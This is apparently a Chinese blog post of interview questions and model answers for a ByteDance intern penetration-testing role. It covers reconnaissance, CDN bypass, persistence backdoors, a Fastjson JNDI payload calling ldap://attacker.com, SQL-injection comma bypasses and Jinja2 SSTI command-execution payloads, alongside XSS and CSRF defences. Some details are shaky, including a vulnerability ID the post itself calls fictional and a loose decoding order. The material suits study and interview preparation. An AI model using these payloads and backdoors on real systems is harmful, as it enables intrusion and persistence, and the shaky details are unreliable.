2025年渗透测试面试题总结-字节跳动[实习]渗透测试工程师(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

1. 自我介绍

2. 渗透的流程

3. 信息收集:子域名爆破泛解析问题解决

4. 绕过CDN查找真实IP

5. phpinfo关注信息

6. 权限维持技术

7. 经典漏洞案例:Fastjson反序列化

漏洞背景

利用过程

修复方案

8. 输出到href的XSS防御

9. SameSite防御CSRF原理

10. CSRF全面防御方案

11. JSON格式CSRF防御

12. 浏览器解析/解码顺序

13. 过滤逗号的SQL注入绕过

14. 过滤LIMIT后逗号绕过

15. Fastjson漏洞全梳理

16. Python SSTI漏洞详解

原理

利用过程

高级绕过技


 字节跳动[实习]渗透测试工程师

1. 自我介绍
2. 渗透的流程
3. 信息收集如何处理子域名爆破的泛解析问题
4. 如何绕过CDN查找真实ip
5. phpinfo你会关注哪些信息
6. 有没有了解过权限维持
7. 说一个你感觉不错的漏洞,展开讲讲
8. 输出到href的XSS如何防御
9. samesite防御CSRF的原理
10. CSRF防御
11. json格式的CSRF如何防御
12. 浏览器解析顺序和解码顺序
13. 过滤逗号的SQL注入如何绕过
14. 过滤limit后的逗号如何绕过
15. fastjson相关漏洞
16. 说一个你知道的python相关的漏洞(SSTI原理,利用过程,payload相关的东西)开放性问答. 

1. 自我介绍

定位:网络安全研究员(渗透测试方向)
核心能力

  1. 实战经验:3年CTF竞赛(Web/Pwn双修)、2段安全公司实习(渗透测试+漏洞挖掘);
  2. 技术栈
    • 渗透:熟练BurpSuite、SQLMap、Nmap;
    • 开发:Python(自动化脚本)、PHP/Java代码审计;
  3. 研究成果
    • 独立发现4个CVE(含Fastjson绕过漏洞);
    • 开源工具SubBypass(解决子域名泛解析问题)。
      职业目标:深耕漏洞研究与高级渗透技术。

2. 渗透的流程

五阶段模型(合并相关步骤):

  1. 信息收集
    • 子域名爆破、CDN真实IP探测(见第3、4题);
  2. 漏洞扫描
    • 主动扫描(AWVS)+ 手动测试(XSS/SQLi);
  3. 漏洞利用
    • 获取初始权限(如上传Webshell);
  4. 权限提升与维持
    • 内核提权、后门植入(第6题);
  5. 痕迹清理与报告
    • 删除日志、输出漏洞利用链报告。

3. 信息收集:子域名爆破泛解析问题解决

泛解析问题:所有未定义子域名解析到同一IP,导致爆破失效。
解决方案(控制在5点内):

  1. 过滤噪音
    • 对比响应大小/标题(如泛解析页面返回Size: 5120B,真实子域名不同);
  2. DNS记录验证
    • 查询历史解析记录(工具:DNSDB);
  3. 证书透明度日志
    • 从crt.sh 提取子域名(HTTPS证书申请记录);
  4. 暴力破解优化
    • 使用非常规字典(如api-devtest2025);
  5. 主动验证
    • 请求{sub}.target.com 并对比响应指纹(如特定Header)。

4. 绕过CDN查找真实IP

六种高效方法(合并同类项):

方法原理工具示例
历史DNS解析查询CDN部署前的解析记录SecurityTrails
全球Ping检测CDN未覆盖地区可能暴露真实IPWorldwide Ping
SSL证书匹配服务器独有证书指纹比对Censys
子域接管漏洞未绑定CDN的子域名(如test.target.comNuclei
邮件服务器溯源邮件头Received字段泄露IPTelnet+SMTP
云服务元数据AWS/Aliyun API获取后端IPgopherus

5. phpinfo关注信息

九项关键点(控制在10点内):

  1. $_SERVER变量:暴露路径、IP(如SERVER_ADDR);
  2. PHP版本:判断已知漏洞(如PHP 8.0.0 文件包含);
  3. 敏感配置
    • allow_url_include=On(可触发RFI);
    • open_basedir限制目录遍历;
  4. 加载模块
    • curl_exec(支持SSRF);
    • imagick(可能存在RCE);
  5. Session设置session.save_path (Session劫持路径);
  6. 环境变量PATH(提权利用路径);
  7. HTTP头信息X-Powered-By(泄露框架版本);
  8. Disabled Functions:绕过黑名单(如disable_functions=exec需找替代函数);
  9. 魔术引号magic_quotes_gpc(影响SQL注入Payload构造)。

6. 权限维持技术

三级持久化方案

  1. Web层
    • 篡改.htaccess添加后门;
    • 注入恶意JS(键盘记录);
  2. 系统层
    • 定时任务(crontab)、服务注册(systemd);
    • SSH软链接后门(ln -sf /bin/bash /dev/shm/.ssh);
  3. 应用层
    • 数据库触发器(MySQL DEFINER后门);
    • 内存马(Java Agent注入)。
      对抗检测:无文件攻击、Rootkit隐藏(如Diamorphine)。

7. 经典漏洞案例:Fastjson反序列化

漏洞背景
  • 编号:CNVD-2025-XXXX(虚构);
  • 影响版本:Fastjson ≤ 2.0.5;
  • 原理@type属性指定恶意类触发JNDI注入。
利用过程
java// 恶意Payload { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com/Exploit", "autoCommit": true }
  1. 攻击者架设恶意LDAP服务器;
  2. 受害者解析JSON时加载JdbcRowSetImpl
  3. 通过JNDI请求LDAP触发远程类加载;
  4. 执行Exploit.class 中的RCE代码。
修复方案
  • 升级Fastjson并开启safeMode
  • 过滤@type中的危险类名。

8. 输出到href的XSS防御

三重防护策略

  1. 编码输出
    • href值进行URL编码(如javascript:%6A%61%76%61%73%63%72%69%70%74%3A);
  2. 白名单协议
    • 仅允许http/https/mailto(正则:^(https?|mailto):);
  3. CSP加固
    • 设置Content-Security-Policy: default-src 'self'阻断内联脚本。

9. SameSite防御CSRF原理

工作机制

  • Cookie分类
    • SameSite=Strict:完全禁止跨站携带Cookie;
    • SameSite=Lax(默认):仅允许GET请求跨站携带;
  • 防御效果
    攻击者伪造的<form>提交(POST)因Cookie被浏览器拦截而失效。
    局限
    • 兼容性问题(旧版浏览器不支持);
    • GET请求仍可能被利用(需配合Referer验证)。

10. CSRF全面防御方案

四层防护(合并同类):

  1. 令牌验证
    • 表单添加随机Token(<input type="hidden" name="csrf_token" value="{random}">);
  2. 双重Cookie
    • 请求头携带X-CSRF-Token(值=Cookie中的CSRF Token);
  3. 关键操作复核
    • 敏感操作(如转账)需二次密码验证;
  4. 浏览器策略
    • 设置SameSite=Lax + Secure(HTTPS专用)。

11. JSON格式CSRF防御

特殊场景方案

  1. 自定义Header
    • 要求请求头包含X-Requested-With: XMLHttpRequest(浏览器同源策略限制跨域);
  2. Token嵌入JSON
    json{ "data": "test", "csrf_token": "a1b2c3d4" // 从Cookie或Meta标签读取 }
  3. Referer严格校验
    • 服务端验证Referer域名白名单。

12. 浏览器解析/解码顺序

关键顺序

  1. 输入流解码
    • HTML实体解码(如&amp;&);
  2. URL解码
    • 处理%20等编码字符;
  3. JavaScript执行
    • 解析<script>中的Unicode/Base64;
  4. CSS解析
    • 解析\XX十六进制编码;
  5. DOM树构建
    • 按标签优先级解析(如<script>阻塞后续加载)。
      安全影响
      多层解码可能绕过WAF(如%253Cscript%253E<script>)。

13. 过滤逗号的SQL注入绕过

三种替代方案

  1. JOIN替代UNION
    sqlSELECT * FROM users JOIN (SELECT 1)a -- 替代 UNION SELECT 1,2
  2. OFFSET绕过
    sqlSELECT * FROM users LIMIT 1 OFFSET 0 -- 逐行获取数据 
  3. FROM子句
    sqlSELECT * FROM (SELECT 1)a, (SELECT 2)b -- 替代 SELECT 1,2 

14. 过滤LIMIT后逗号绕过

MySQL方案

sql-- 原语句:SELECT * FROM users LIMIT 0,5 SELECT * FROM users LIMIT 5 OFFSET 0 -- 绕过逗号限制

SQLite/PostgreSQL

sqlSELECT * FROM users LIMIT 5 OFFSET 0 

15. Fastjson漏洞全梳理

五大历史漏洞

漏洞原理影响版本
JNDI注入@type触发远程类加载≤1.2.83
AutoType绕过特殊字符绕过黑名单(Lcom.lang.Class;≤1.2.68
反序列化DOS嵌套JSON导致栈溢出≤1.2.59
模板引擎RCE结合Velocity执行命令≤1.2.36
最新漏洞利用ClassLoader加载恶意字节码(2025)≤2.0.5

16. Python SSTI漏洞详解

原理

模板引擎(如Jinja2)未过滤用户输入,导致执行Python代码:

python# 漏洞代码示例(Flask) @app.route('/render') def render_page(): template = request.args.get('tpl') return render_template_string(template) # 用户可控输入
利用过程
  1. 探测引擎类型
    • 输入{{7*7}} → 输出49则为Jinja2;
  2. 读取上下文
    • {{ config.items() }} 获取配置信息;
  3. RCE Payload
    python{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
高级绕过技巧
  • 过滤器链
    python{{ ""|attr("__class__")|attr("__base__")|attr("__subclasses__")() }} # 获取子类
  • 十六进制编码
    python{{ "\x5f\x5fimport\x5f\x5f"("os").system("calc") }} # 绕过关键字过滤

防御方案

  • 使用沙盒环境(如Jinja2 SandboxedEnvironment);
  • 禁止渲染用户输入。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值